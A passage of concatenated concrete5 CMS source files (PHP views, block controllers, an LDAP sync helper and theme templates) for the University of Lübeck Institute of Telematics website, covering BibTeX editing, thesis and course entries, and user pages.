file_get_contents($f->getPath()); ?><file_sep><?php defined('C5_EXECUTE') or die(_("Access Denied.")); ?> <div> <h3><?= t('No further configuration required.') ?></h3> </div><file_sep><?php defined('C5_EXECUTE') or die(_("Access Denied.")); ?> <!-- this view will never be shown. --><file_sep><?php defined('C5_EXECUTE') or die(_("Access Denied.")); ?> <?php Loader::model('file_list'); $dh = Loader::helper('concrete/dashboard'); $uh = Loader::helper('concrete/urls'); $ih = Loader::helper('concrete/interface'); $form = Loader::helper('form'); $fl = new FileList(); $fl->filterByExtension('bib'); $bibFiles = $fl->get(1000); $selectList = array(); // the cool way with PHP 5.3 //array_walk($bibFiles, function($val, $key) use(&$selectList) // { // $selectList[(string) $val->fID] = $val->getApprovedVersion()->fvTitle . " (ID: " . $val->fID . ")"; // }); foreach ($bibFiles as $key => $val) { $selectList[(string) $val->fID] = $val->getApprovedVersion()->fvTitle . " (ID: " . $val->fID . ")"; } ?> <script language="JavaScript"> BibFileEditor = { changed: false, selIndex: 0, loadFile: function() { if (this.changed && confirm('<?= t('Current file has been changed. Do you want to save it in advance?') ?>')) { if (!this.saveRequest() && !confirm('<?= t('Saving failed? Do you want to proceed anyway?') ?>')) { $('#bibfiles').get(0).selectedIndex = this.selIndex; return; } } $('#bibFileContainer').css('display', 'none'); $('#bibFileLoading').css('display', 'block'); $.get("<?= $uh->getToolsURL('loadbibfile', 'itm_bibtex'); ?>", { f: $('#bibfiles').val() }).success(function(data, stat) { BibFileEditor.setChanged(false); BibFileEditor.selIndex = $('#bibfiles').get(0).selectedIndex; $('#bibFileContent').val(data); $('#bibFileLoading').css('display', 'none'); $('#bibFileContainer').css('display', 'block'); }).error(function() { BibFileEditor.setChanged(false); $('#bibFileLoading').css('display', 'none'); alert('Selected file could not be loaded.'); }); }, saveFile: function() { if (!this.changed) { alert('<?= t('No changes where noticed. Saving aborted.') ?>'); return; } if (this.saveRequest()) { alert('<?= t('File has been successfully saved.') ?>'); } else { alert('<?= t('File could not be saved.') ?>'); } }, saveRequest: function() { var succeed = false; $('#bibFileContainer').css('display', 'none'); $('#bibFileSaving').css('display', 'block'); $.ajax("<?= $uh->getToolsURL('savebibfile', 'itm_bibtex'); ?>", { data: { f: $('#bibfiles').val(), c: $('#bibFileContent').val() }, async: false, type: 'POST', success: function(data) { succeed = true; BibFileEditor.setChanged(false); }}); $('#bibFileSaving').css('display', 'none'); $('#bibFileContainer').css('display', 'block'); return succeed; }, setChanged: function(doChange) { this.changed = doChange; } } <?php if (count($selectList)): ?> $(document).ready(function () { BibFileEditor.loadFile(); }); <?php endif; ?> </script> <?php echo $dh->getDashboardPaneHeaderWrapper(t('Bib-File Editor'), false, false, !count($selectList), array(), Page::getByPath("/dashboard")); ?> <form> <div class="ccm-pane-body"> <?php if (count($selectList)): ?> <div> <?= t('Select file:') ?>&nbsp;<?= $form->select('bibfiles', $selectList, $since, array('style' => 'width: 300px', 'onchange' => 'return BibFileEditor.loadFile();')) ?> </div> <?php else: ?> <p> There are currently no Bib files available. </p> <?php endif; ?> <div id="bibFileContainer" style="margin-top: 20px; display: none"> <p><?= $form->textarea('bibFileContent', array('style' => 'width: 100%; height: 400px', 'onchange' => 'BibFileEditor.setChanged(true)')) ?></p> </div> <div id="bibFileLoading" style="display: none; margin-top: 20px"> <img src="<?= ASSETS_URL_IMAGES ?>/throbber_white_32.gif" width="32" height="32" alt="<?= t('Loading...') ?>" style="vertical-align: middle; margin-right: 10px"/> <?= t('Load file...') ?> </div> <div id="bibFileSaving" style="display: none; margin-top: 20px"> <img src="<?= ASSETS_URL_IMAGES ?>/throbber_white_32.gif" width="32" height="32" alt="<?= t('Loading...') ?>" style="vertical-align: middle; margin-right: 10px"/> <?= t('Save file...') ?> </div> </div> <?php if (count($selectList)): ?> <div class="ccm-pane-footer"> <div class="ccm-buttons"> <input type="hidden" name="create" value="1" /> <?= $ih->button_js(t('Save'), 'BibFileEditor.saveFile()', 'right', 'primary') ?> </div> </div> <?php endif; ?> </form> <?php echo $dh->getDashboardPaneFooterWrapper(!count($selectList)); ?> <file_sep><?php defined('C5_EXECUTE') or die("Access Denied."); $content = $controller->getContent(); ?> <h2 class="itmCourseEntry"> <?= $title ?> </h2> <div class="itmCourseEntry"> <?= $content ?> </div><file_sep><?php defined('C5_EXECUTE') or die(_("Access Denied.")); ?> <?php // set default values for status and type // afterwards, generate form if (!isset($status)) { $status = 0; } if (!isset($type)) { $type = 0; } ?> <style type="text/css"> .itmThesisEntry label { float: none; width: 100%; text-align: left; cursor: pointer; } .itmThesisEntry td:nth-child(2) { padding-right: 20px; } </style> <table class="itmThesisEntry zebra-striped"> <thead> <th colspan="2"><?= t('Thesis general information') ?></th> </thead> <tbody> <tr> <td><?= t('Topic *') ?></td> <?php $cp = Page::getCurrentPage(); if ($topic == t('Click and select Edit to enter thesis data.')) { $topic = $cp->getCollectionName(); } ?> <td><?= $form->text('topic', $topic, array('style' => 'width: 100%')) ?></td> </tr> <tr> <td><?= t('Beginning') ?></td> <td> <div> <?= $form->text('beginning', $beginning, array('style' => 'width: 100%')) ?> </div> <div class="note" style="width: 100%"> Leave empty or insert a zero to force "as soon as possible" </div> </td> </tr> <tr> <td><?= t('Type *') ?></td> <td> <div> <label for="type1"> <?= $form->radio('type', '0', $type) ?> <?= t('Bachelor thesis') ?> </label> </div> <div> <label for="type2"> <?= $form->radio('type', '1', $type) ?> <?= t('Master thesis') ?> </label> </div> <div> <label for="type3"> <?= $form->radio('type', '2', $type) ?> <?= t('Bachelor or master thesis') ?> </label> </div> </td> </tr> <tr> <td><?= t('Status *') ?></td> <td> <div> <label for="status4"> <?= $form->radio('status', '0', $status) ?> <?= t('Open') ?> </label> </div> <div> <label for="status5"> <?= $form->radio('status', '1', $status) ?> <?= t('Running') ?> </label> </div> <div> <label for="status6"> <?= $form->radio('status', '2', $status) ?> <?= t('Finished') ?> </label> </div> </td> </tr> </tbody> </table> <?php $json = Loader::helper('json'); ?> <script language="JavaScript" type="text/javascript"> var ThesisData = { ICON_REMOVE: '<img src="<?= ASSETS_URL_IMAGES ?>/icons/delete_small.png" width="16" height="16" alt="<?= t('Remove') ?>" title="<?= t('Remove') ?>" style="vertical-align: middle"/>', ICON_SWITCH: '<img src="<?= ASSETS_URL_IMAGES ?>/icons/edit_small.png" width="16" height="16" alt="<?= t('Switch Edit Mode') ?>" title="<?= t('Switch Edit Mode') ?>" style="vertical-align: middle"/>', ICON_UP: '<img src="<?= ASSETS_URL_IMAGES ?>/icons/arrow_up_black.png" width="11" height="6" alt="<?= t('Move Up') ?>" title="<?= t('Move Up') ?>" style="vertical-align: middle"/>', ICON_DOWN: '<img src="<?= ASSETS_URL_IMAGES ?>/icons/arrow_down_black.png" width="11" height="6" alt="<?= t('Move Down') ?>" title="<?= t('Move Down') ?>" style="vertical-align: middle"/>', ICON_UP_DISABLED: '<img src="<?= ASSETS_URL_IMAGES ?>/icons/arrow_up.png" width="11" height="6" alt="<?= t('Move Up disabled') ?>" title="<?= t('Move Up disabled') ?>" style="vertical-align: middle"/>', ICON_DOWN_DISABLED: '<img src="<?= ASSETS_URL_IMAGES ?>/icons/arrow_down.png" width="11" height="6" alt="<?= t('Move disabled') ?>" title="<?= t('Move Down disabled') ?>" style="vertical-align: middle"/>', LDAP_USERS: <?=$json->encode($this->controller->getLdapUsers())?>, tutors: <?= $json->encode($this->controller->getTutors()) ?>, supervisors: <?= $json->encode($this->controller->getSupervisors()) ?>, serializeTutors: function() { return JSON.stringify(this.tutors); }, serializeSupervisors: function() { return JSON.stringify(this.supervisors); } } </script> <table class="itmThesisEntry zebra-striped"> <thead> <th colspan="2"><?= t('People') ?></th> </thead> <tr> <td><?= t('Student') ?></td> <td> <div> <?= $form->text('student', $student, array('style' => 'width: 100%')) ?> </div> <div class="note" style="width: 100%"> As long as there is no student attending the thesis, omit this field </div> </td> </tr> <tr> <td style="width: 150px"><?= t('Tutor(s)') ?></td> <td> <div id="tutorWrapper"> <script language="JavaScript" type="text/javascript"> $('#tutorWrapper').wrapInner(ThesisEntry.renderList('tutor')); </script> </div> <div> <a href="#" onclick="ThesisEntry.addItem('tutor'); return false;" style="border: 0px"> <img src="<?= ASSETS_URL_IMAGES ?>/icons/add_small.png" width="16" height="16" alt="<?= t('Add item') ?>" title="<?= t('Add item') ?>" style="vertical-align: middle"/> </a> </div> <input type="hidden" id="tutorsJson" name="tutorsJson" value=""/> </td> </tr> <tr> <td><?= t('Supervisor(s) ') ?></td> <td> <div id="supervisorWrapper"> <script language="JavaScript" type="text/javascript"> $('#supervisorWrapper').wrapInner(ThesisEntry.renderList('supervisor')); </script> </div> <div> <a href="#" onclick="ThesisEntry.addItem('supervisor'); return false;" style="border: 0px"> <img src="<?= ASSETS_URL_IMAGES ?>/icons/add_small.png" width="16" height="16" alt="<?= t('Add item') ?>" title="<?= t('Add item') ?>" style="vertical-align: middle"/> </a> </div> <input type="hidden" id="supervisorsJson" name="supervisorsJson" value=""/> </td> </tr> </table><file_sep>var CourseItem = { switchIcon: 'Switch', items: [], editMode: false, //true = raw, false = list bkpCaption: '', renderOptionList: function(selValue) { htmlOptions = ''; jQuery.each(this.items, function(i, v) { htmlOptions += '<option value="' + v + '"'; if (v == selValue) { htmlOptions += ' selected="selected"'; } htmlOptions += '>' + v + '</option>' + "\n"; }); return htmlOptions; }, renderSelect: function(selValue) { this.editMode = false; htmlSelect = '<select style="width: 80%" id="title" name="title">'; htmlSelect += this.renderOptionList(selValue); htmlSelect += '</select>'; return htmlSelect; }, renderRaw: function(value) { this.editMode = true; htmlText = '<input style="width: 80%" type="text" id="title" name="title" value="' + value + '"/>'; return htmlText; }, renderEditMode: function() { return '<a href="#" onclick="CourseItem.switchEditMode(); return false;">' + this.switchIcon + '</a>'; }, switchEditMode: function() { if (!this.editMode) { $('#title').replaceWith(this.renderRaw(this.bkpCaption)); } else { $('#title').replaceWith(this.renderSelect(this.bkpCaption)); } $('#title').focus(); }, renderTitleField: function(selValue) { html = ''; if (selValue == '') { if (this.editMode) { html += this.renderRaw(''); } else { html += this.renderSelect(''); } } else { found = false; for (var i = 0; i < this.items.length; i++) { if (this.items[i] == selValue) { found = true; break; } } if (found) { html += this.renderSelect(selValue); } else { html += this.renderRaw(selValue); } } html += '&nbsp;' + this.renderEditMode(); return html; } }<file_sep><?php defined('C5_EXECUTE') or die("Access Denied."); ?> <?php $theme = PageTheme::getByHandle('itm_theme'); $themeUrl = $theme->getThemeURL(); $imgBase = $themeUrl . "/images"; ?> </div> <div id="fuss"> <div><img src="<?=$imgBase?>/strichSchmalGrau.gif" width="280" height="10" style="margin-left: 10px; margin-right: 10px"><img src="<?=$imgBase?>/balkenBreitGrauHell.gif" width="650" height="10"></div> <div style="font-size: 10px; text-align: right; padding-right: 10px"> &copy; <?php echo date('Y') ?> <a href="<?php echo DIR_REL ?>/"><?php echo SITE ?></a>. &nbsp;&nbsp; <?php echo t('All rights reserved.') ?> <?php $u = new User(); if ($u->isRegistered()) { ?> <?php if (Config::get("ENABLE_USER_PROFILES")) { $userName = '<a href="' . $this->url('/profile') . '">' . $u->getUserName() . '</a>'; } else { $userName = $u->getUserName(); } ?> <span class="sign-in"><?php echo t('Currently logged in as <b>%s</b>.', $userName) ?> <a href="<?php echo $this->url('/login', 'logout') ?>"><?php echo t('Sign Out') ?></a></span> <?php } else { ?> <span class="sign-in"><a href="<?php echo $this->url('/login') ?>"><?php echo t('Sign In to Edit this Site') ?></a></span> <?php } ?> </div> </div> </div> <?php Loader::element('footer_required'); ?> </body> </html><file_sep><?php defined('C5_EXECUTE') or die(_("Access Denied.")); class ItmLdapUserBlockController extends BlockController { protected $btTable = 'btItmLdapUser'; protected $btInterfaceWidth = "300"; protected $btInterfaceHeight = "200"; protected $btWrapperClass = 'ccm-ui'; public function getBlockTypeDescription() { return t("Adds a LDAP user entry to a page."); } public function getBlockTypeName() { return t("ITM LDAP User Entry"); } public function save($data) { parent::save($data); } public function view() { $userInfo = UserInfo::getByUserName($this->uName); $this->set('userInfo', $userInfo); } /** * @return array assoc. array of UserInfo objects with user names as keys */ public function getLdapUsers() { if (!$this->hasUsers()) { return array(); } $ilh = Loader::helper('itm_ldap', 'itm_ldap'); foreach ($ilh->getLdapStaffFromC5() as $user) { $result[$user->uName] = $user->uName; } return $result; } /** * * @return bool true if LDAP users are present, otherwise false */ public function hasUsers() { $ilh = Loader::helper('itm_ldap', 'itm_ldap'); if ($ilh->hasLdapAuth()) { try { return count($ilh->getLdapStaffFromC5()) > 0; } catch (Exception $e) { return false; } } } } ?><file_sep><?php defined('C5_EXECUTE') or die("Access Denied."); $al = Loader::helper('concrete/asset_library'); $bf = null; if ($controller->getFileID() > 0) { $bf = $controller->getFileObject(); } $years = array(); for ($i = 1990; $i <= date('Y'); $i++) { $years[$i] = $i; } ?> <div> <h4><?= t('Choose Bibtex file') ?></h4> <div style="margin-bottom: 15px"><?php echo $al->file('ccm-b-file', 'fID', t('Choose File'), $bf, array('fExtension' => 'bib'));?></div> <h4><?= t('Author') ?></h4> <div style="margin-bottom: 15px; padding-right: 10px"><?= $form->text('author', $author, array('style' => 'width: 100%;')) ?></div> <h4><?= t('Publications since') ?></h4> <div style="margin-bottom: 15px"><?= $form->select('since', $years, $since, array('style' => 'width: 100%')) ?></div> </div> <file_sep><?php defined('C5_EXECUTE') or die("Access Denied."); ?> <?php $theme = PageTheme::getByHandle('itm_theme'); $themeUrl = $this->getThemePath(); // echo $themeUrl; $imgBase = $themeUrl . "/images"; ?> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html lang="<?php echo LANGUAGE?>" xmlns="http://www.w3.org/1999/xhtml"> <head> <?php Loader::element('header_required'); ?> <?php /* This will enable bootstrap - not required yet echo '<link rel="stylesheet" type="text/css" href="'.$themeUrl.'/bootstrap/css/bootstrap.css" />'; echo '<link rel="stylesheet" type="text/css" href="'.$themeUrl.'/bootstrap/css/bootstrap-responsive.css" />'; echo '<script language="JavaScript" type="text/javascript" src="'.$themeUrl.'/bootstrap/js/bootstrap.min.js"></script>'; */ $u = new User(); ?> <?php if (!$c->isEditMode() && !$u->isRegistered()) : ?> <link rel="stylesheet" type="text/css" href="<?=$themeUrl?>/jquery-ui/css/jquery-ui-1.8.17.custom.css" /> <script language="JavaScript" type="text/javascript" src="<?=$themeUrl?>/jquery-ui/js/jquery-ui-1.8.17.custom.min.js"></script> <?php endif; ?> <link rel="stylesheet" media="screen" type="text/css" href="<?php echo $this->getStyleSheet('css/main.css')?>" /> <link rel="stylesheet" media="screen" type="text/css" href="<?php echo $this->getStyleSheet('css/typography.css')?>" /> </head> <body> <div id="rahmen"> <div id="logo"> <div id="logoUni"><a href="http://www.itm.uni-luebeck.de"><img src="<?=$imgBase?>/LogoITM.png" width="280" height="87" alt="University of Lübeck - Institute of Telematics"></a></div> <div id="logoUni_klein"><a href="http://www.uni-luebeck.de"><img src="<?=$imgBase?>/LogoUni_klein.png" width="146" height="48" alt="University of Lübeck" title="Visit University of Lübeck main page"></a></div> <div id="logoSlogan"><img src="<?=$imgBase?>/sloganHell.gif" width="158" height="28" alt="Im Focus das Leben"></div> </div> <div id="kopfBalken"><img src="<?=$imgBase?>/strichSchmalGrau.gif" width="280" height="10" hspace="10"><img src="<?=$imgBase?>/balkenBreitGrauHell.gif" width="650" height="10"></div> <div id="pfad"> <div id="pfadTitel"><a href="http://www.itm.uni-luebeck.de">INSTITUTE OF TELEMATICS</a></div> <div id="pfadLeiste"> <?php $as = new GlobalArea('Breadcrumbs'); $as->setBlockLimit(1); $as->display($c); ?> </div> </div> <?php $atl = new Area('Teaser Image Left'); $atl->setBlockLimit(1); $atr = new Area('Teaser Image Right'); $atr->setBlockLimit(1); if ($c->isEditMode() || $atl->getTotalBlocksInArea($c) || $atr->getTotalBlocksInArea($c)) : ?> <div id="teaser"> <div id="teaserLinks"> <?php $as = new Area('Teaser Image Left'); $as->setBlockLimit(1); $as->display($c); ?> </div> <div id="teaserRechts"> <?php $as = new Area('Teaser Image Right'); $as->setBlockLimit(1); $as->display($c); ?> </div> </div> <?php endif; ?> <div id="mitte"> <div id="menu"> <div> <?php $as = new GlobalArea('Navigation'); $as->display($c); ?> </div> <div> <?php $as = new Area('Local Navigation'); $as->display($c); ?> </div> </div> <file_sep><?php defined('C5_EXECUTE') or die(_("Access Denied.")); class ItmCoursesPackage extends Package { protected $pkgHandle = 'itm_courses'; protected $appVersionRequired = '5.5.1'; protected $pkgVersion = '1.0'; public function getPackageDescription() { return t("Installs the ITM courses package."); } public function getPackageName() { return t("ITM Courses"); } public function install() { $pkg = parent::install(); $themePkg = Package::getByHandle('itm_theme'); if (empty($themePkg)) { $pkg->uninstall(); throw new Exception("Required package <b>itm_theme</b> not found. Install it in advance."); } // install blocks BlockType::installBlockTypeFromPackage('itm_course', $pkg); BlockType::installBlockTypeFromPackage('itm_course_item', $pkg); BlockType::installBlockTypeFromPackage('itm_semester', $pkg); BlockType::installBlockTypeFromPackage('itm_semester_overview', $pkg); // install single pages Loader::model('single_page'); $sp1 = SinglePage::add('/dashboard/itm_courses', $pkg); $sp1->update(array('cName' => t('ITM Courses'), 'cDescription' => t('Courses Management'))); // install page type Loader::model('collection_types'); $ctItmCoursePage = CollectionType::getByHandle('itm_course_page'); if (!$ctItmCoursePage || !intval($ctItmCoursePage->getCollectionTypeID())) { $ctItmCoursePage = CollectionType::add(array('ctHandle' => 'itm_course_page', 'ctName' => t('Course')), $pkg); } $ctItmSemesterPage = CollectionType::getByHandle('itm_semester_page'); if (!$ctItmSemesterPage || !intval($ctItmSemesterPage->getCollectionTypeID())) { $ctItmSemesterPage = CollectionType::add(array('ctHandle' => 'itm_semester_page', 'ctName' => t('Semester')), $pkg); } $cakYear = CollectionAttributeKey::add('number', array( 'akHandle' => 'semester_year', 'akName' => t('Year (format: YYYY)'), 'akIsSearchable' => false ), $pkg); $cakTerm = CollectionAttributeKey::add('select', array( 'akHandle' => 'semester_term', 'akName' => t('Winter / Summer term'), 'akIsSearchable' => false ), $pkg); SelectAttributeTypeOption::add($cakTerm, t('Summer term'), 0, 0); SelectAttributeTypeOption::add($cakTerm, t('Winter term'), 0, 0); $ctItmSemesterPage->assignCollectionAttribute($cakYear); $ctItmSemesterPage->assignCollectionAttribute($cakTerm); $ctItmSemesterPage->assignCollectionAttribute(CollectionAttributeKey::getByHandle('exclude_nav')); // add default attribute $ctItmCoursePage->assignCollectionAttribute(CollectionAttributeKey::getByHandle('exclude_nav')); // install default page of itm_thesis_page page type // this includes setting up a default itm_thesis_entry block, // a default "Research Area" custom content block and a default // "The Thesis Topic" custom content block // obtain master template $mTplItmCoursePage = $ctItmCoursePage->getMasterTemplate(); // create content area within master template $aCourseInformation = Area::getOrCreate($mTplItmCoursePage, 'Course Information'); // create data array that is passed to addBlock() - what data ever... // $data = array(); // get thesis entry and thesis custom content block types //$btThesisEntry = BlockType::getByHandle("itm_thesis_entry"); //$btThesisCustomContent = BlockType::getByHandle("itm_titled_paragraph"); $btCourse = BlockType::getByHandle("itm_course"); // set default data for thesis entry block, add and save it $defaultCourseData = array( 'name' => t('Click and select Edit to enter course data.') ); $bSemesterData = $mTplItmCoursePage->addBlock($btCourse, $aCourseInformation, $defaultCourseData); //$bSemesterData->getController()->save(array()); // do the same like above for research and thesis topic blocks /* $defaultResearchAreaData = array( 'title' => t('Research Area'), 'content' => 'Type in your content here.' ); $bResearchArea = $mTplItmThesisPage->addBlock($btThesisCustomContent, $aThesisInformation, $data); $bResearchArea->getController()->save($defaultResearchAreaData); $defaultThesisTopicData = array( 'title' => t('The Thesis Topic'), 'content' => 'Type in your content here' ); $bThesisTopic = $mTplItmThesisPage->addBlock($btThesisCustomContent, $aThesisInformation, $data); $bThesisTopic->getController()->save($defaultThesisTopicData); */ } } ?> <file_sep><?php defined('C5_EXECUTE') or die("Access Denied."); Loader::model('user_list'); Loader::model('page_list'); /** * Helper class for the concrete5 itm_ldap package. */ class ItmLdapHelper { public function ldapBind($ldapBase) { $ldap = NewADOConnection('ldap'); global $LDAP_CONNECT_OPTIONS; $LDAP_CONNECT_OPTIONS = array( array("OPTION_NAME" => LDAP_OPT_DEREF, "OPTION_VALUE" => 2), array("OPTION_NAME" => LDAP_OPT_SIZELIMIT, "OPTION_VALUE" => 100), array("OPTION_NAME" => LDAP_OPT_TIMELIMIT, "OPTION_VALUE" => 30), array("OPTION_NAME" => LDAP_OPT_PROTOCOL_VERSION, "OPTION_VALUE" => 3), array("OPTION_NAME" => LDAP_OPT_ERROR_NUMBER, "OPTION_VALUE" => 13), array("OPTION_NAME" => LDAP_OPT_REFERRALS, "OPTION_VALUE" => false), array("OPTION_NAME" => LDAP_OPT_RESTART, "OPTION_VALUE" => false) ); if (!$this->hasLdapAuth()) { throw new Exception('LDAP connection failed. Reason: no ldap_auth package found.'); } $config = new Config(); $config->setPackageObject(Package::getByHandle('ldap_auth')); if ($config->get('LDAP_HOST') == NULL) { throw new Exception('LDAP host has not been specified.'); } if (!$ldap->Connect($config->get('LDAP_HOST'), '', '', $config->get($ldapBase))) { throw new Exception(t('LDAP connection failed!')); } $ldap->SetFetchMode(ADODB_FETCH_ASSOC); return $ldap; } /** * Creates a new ADOdb connection and binds LDAP to the staff base given in the * package 'ldap_auth'. * * @global array $LDAP_CONNECT_OPTIONS will be overwritten. * @return mixed ADOdb connection. */ public function ldapBindStaff() { return $this->ldapBind('LDAP_BASE_STAFF'); } /** * Creates a new ADOdb connection and binds LDAP to the students base given in the * package 'ldap_auth'. * * @global array $LDAP_CONNECT_OPTIONS will be overwritten. * @return mixed ADOdb connection. */ public function ldapBindStudents() { return $this->ldapBind('LDAP_BASE_STUDENTS'); } public function ldapBindGroups() { return $this->ldapBind('LDAP_BASE_GROUPS'); } /** * Resolves a LDAP user with uid $uid. * Optionally $ldapBind can be used as a custom ADOdb connection. * * @param string $uid the LDAP uid (no fully qualified name) * * @return array assoc. array of LDAP user data or null if not found. */ public function getLdapUser($uid) { $users = $this->getLdapStaff(); foreach ($users as $user) { if ($user['uid'] == $uid) { return $user; } } return null; } /** * Inserts or updates a user from LDAP server in the concrete5 database. * * @param string $ldapUser record of the LDAP user. */ public function addUserFromLdap($ldapUser) { $group = Group::getByName('ldap'); if (empty($group)) { throw new Exception("Required group named 'ldap' not found. Update process aborted."); } $ldapGID = $group->getGroupID(); $group = Group::getByName($ldapUser['cn']); if (empty($group)) { throw new Exception(sprintf("Required group named '%s' was not found. Update process aborted.", $ldapUser['cn'])); } $cnGID = $group->getGroupID(); // by now put all users to the Administrators group // later on it might be useful to costumize this $group = Group::getByName('Administrators'); $adminGID = $group->getGroupID(); $userInfo = UserInfo::getByUserName($ldapUser['uid']); $data = array( 'uName' => $ldapUser['uid'], 'uPassword' => '', 'uEmail' => $ldapUser['mail'], 'uIsActive' => 1 ); if (empty($userInfo)) { $userInfo = UserInfo::add($data); } else { $userInfo->update($data); } if (empty($userInfo)) { throw new Exception('Updating LDAP user in concrete5 database failed. Update process aborted.'); } $userInfo->updateGroups(array($ldapGID, $adminGID, $cnGID)); $this->setAttr($userInfo, $ldapUser['telephoneNumber'], 'telephone_number'); $this->setAttr($userInfo, $ldapUser['facsimileTelephoneNumber'], 'telefax_number'); $this->setAttr($userInfo, $ldapUser['description'], 'description'); $this->setAttr($userInfo, $ldapUser['roomNumber'], 'room_number'); $this->setAttr($userInfo, $ldapUser['gecos'], 'name'); if (strlen($ldapUser['displayName'])) { $this->setAttr($userInfo, $ldapUser['displayName'], 'name'); } $this->setAttr($userInfo, $ldapUser['skypeNumber'], 'skype_number'); $this->setAttr($userInfo, $ldapUser['icqNumber'], 'icq_number'); $this->setAttr($userInfo, $ldapUser['title'], 'title'); } private function setAttr($userInfo, $ldapVal, $c5Key) { try { $userInfo->setAttribute($c5Key, $ldapVal); } catch (Exception $e) { throw new Exception(t('Attribute not found while updating users:') . " $c5Key"); } } /** * Generates intersection of the given sets (depending on the user name). * Defined by: $set1 \cap $set2 * * @param array $set1 array of users (UserInfo object, ItmLdapUserTuple * object or LDAP entry array). * @param array $set2 array of users (UserInfo object, ItmLdapUserTuple * object or LDAP entry array). * * @return array assoc. array of intersected elements. */ public function intersect($set1, $set2) { $resultSet = array(); foreach ($set1 as $set1Item) { $set1ItemUName = $this->resolveUsername($set1Item); foreach ($set2 as $set2Item) { $set2ItemUName = $this->resolveUsername($set2Item); if ($set1ItemUName == $set2ItemUName) { $resultSet[$set1ItemUName] = new ItmLdapUserTuple($set1Item, $set2Item); break; } } } return $resultSet; } /** * Given a UserInfo object, ItmLdapUserTuple object or LDAP entry array, * this method determines the user name. * * @param UserInfo|ItmLdapUserTuple|array $item UserInfo object, * ItmLdapUserTuple object or LDAP * entry array * * @return string the user name of the given object. */ public function resolveUsername($item) { if ($item instanceof UserInfo) { return $item->getUserName(); } elseif ($item instanceof ItmLdapUserTuple) { return $this->resolveUsername($item->first); } else { return $item['uid']; } } /** * Generates subtraction of the given sets (depending on the user name). * Defined by: $set1 \ $set2 * * @param array $set1 array of users (UserInfo object, ItmLdapUserTuple * object or LDAP entry array). * @param array $set2 array of users (UserInfo object, ItmLdapUserTuple * object or LDAP entry array). * * @return array assoc. array of subtracted elements. */ public function subtract($set1, $set2) { $resultSet = array(); foreach ($set1 as $set1Item) { $found = false; $set1ItemUName = $this->resolveUsername($set1Item); foreach ($set2 as $set2Item) { $set2ItemUName = $this->resolveUsername($set2Item); $uName = $this->resolveUsername($set1Item); if ($set1ItemUName == $set2ItemUName) { $found = true; break; } } if (!$found) { $resultSet[$set1ItemUName] = $set1Item; } } return $resultSet; } /** * Determines all LDAP users currently available via the LDAP server. * * @param mixed $ldapBind default value is false. By giving a ADOdb * connection, this one will be used to resolve the * users. Otherwise a new binding is created. * * @return array array of LDAP entries (which are in turn assoc. arrays). */ public function getLdapStaff() { $ldapStaff = $this->ldapBindStaff(); $ldapStudents = $this->ldapBindStudents(); $ldapGroups = $this->ldapBindGroups(); if (!$ldapStaff || !$ldapGroups || !$ldapStudents) { throw new Exception(t('LDAP connection failed!')); } //$ldapStaffResult = $ldapStaff->GetArray('(uid=*)'); $ldapGroupsResult = $ldapGroups->GetArray('(cn=c5-*)'); $result = array(); foreach ($ldapGroupsResult as $ldapGroup) { for ($i = 0; $i < count($ldapGroup['memberUid']); $i++) { $tmpRes = $ldapStaff->GetArray(sprintf('(uid=%s)', $ldapGroup['memberUid'][$i])); if (!count($tmpRes)) { $tmpRes = $ldapStudents->GetArray(sprintf('(uid=%s)', $ldapGroup['memberUid'][$i])); } if (count($tmpRes)) { $tmpRes[0]['cn'] = $ldapGroup['cn']; $result[] = $tmpRes[0]; } } } $ldapStaff->Close(); $ldapGroups->Close(); return $result; } /** * Determines all LDAP users currently stored in the concrete5 database. * It means every user is fetched which matches the 'ldap' group * membership. * * @return array array of UserInfo objects. */ public function getLdapStaffFromC5() { $group = Group::getByName('ldap'); $gId = $group->getGroupID(); $userList = new UserList(); $userList->sortBy('uName', 'asc'); $userList->showInactiveUsers = true; $userList->showInvalidatedUsers = true; $userList->filterByGroupID($gId); return $userList->get(); } /** * Takes two associative arrays and merges them. If two keys clash, the * value of $arr2 overwrites the value of $arr1. There is no return value, * $arr1 is passed as a reference and will be manipulated. * * @param mixed $arr1 the first assoc. array. * @param mixed $arr2 the secons assoc. array. */ public function mergeAssocArray(&$arr1, &$arr2) { foreach ($arr2 as $key => $value) { $arr1[$key] = $value; } } /** * Checks whether packacge ldap_auth is available. * * @return bool true if package exists, else false. */ public function hasLdapAuth() { $ldapAuthPkg = Package::getByHandle('ldap_auth'); return!empty($ldapAuthPkg); } /** * Searches all pages which are derived from itm_ldap_user_page page type * and returns the page link if there exist an itm_ldap_user block that * corresponds to the given user name. * * @param string $uName user name * @return string URL of the page. */ public function getUserPageLink($uName) { $nh = Loader::helper('navigation'); $pl = new PageList(); $pl->ignoreAliases(); $pl->ignorePermissions(); $pl->filterByCollectionTypeHandle('itm_ldap_user_page'); $collections = $pl->get(); foreach ($collections as $collection) { $blocks = $collection->getBlocks(); foreach ($blocks as $block) { $bCtrl = $block->getController(); if ($bCtrl instanceof ItmLdapUserBlockController) { if ($bCtrl->uName == $uName) { return $nh->getLinkToCollection($collection); } } } } return false; } /** * Checks whether there is a title available and - if true - returns a * combination of title plus name. If no title is available, merely the name * will be returned. * * @param UserInfo $userInfo user data * @return string name */ public function getFullName($userInfo) { if (!($userInfo instanceof UserInfo)) { return ''; } $title = $userInfo->getAttribute('title'); $name = $userInfo->getAttribute('name'); return empty($title) ? $name : "$title $name"; } } /** * Represents a tuple consisting of two elements. This class is intended to be * used to hold both LDAP server and concrete5 DB data. */ class ItmLdapUserTuple { /** * @var UserInfo|array first element. Array should be a LDAP result. */ public $first; /** * @var UserInfo|array second element. Array should be a LDAP result. */ public $second; /** * Constructs a tuple with default values. * * @param UserInfo|array $first first element. Array should be a LDAP * result. * @param UserInfo|array $second second element. Array should be a LDAP * result. */ public function __construct($first, $second) { $this->first = $first; $this->second = $second; } }<file_sep><?php defined('C5_EXECUTE') or die(_("Access Denied.")); class DashboardItmLdapController extends Controller { public function view() { // directly visit synchronization page $this->redirect('/dashboard/itm_ldap/synchronization'); } } ?> <file_sep><?php defined('C5_EXECUTE') or die(_("Access Denied.")); ?> <div> <?php $ldapPkg = Package::getByHandle('itm_ldap'); if (empty($ldapPkg)) : ?> <h4><?= t('No options available.') ?></h4> <p> <?= t('Please install ITM LDAP package to gain filter functionality.') ?> </p> <?php else : ?> <h4><?= t('Filter theses by selecting a user') ?></h4> <?php if ($this->controller->hasUsers()) : ?> <p id="userp"> <?= $form->select('uName', 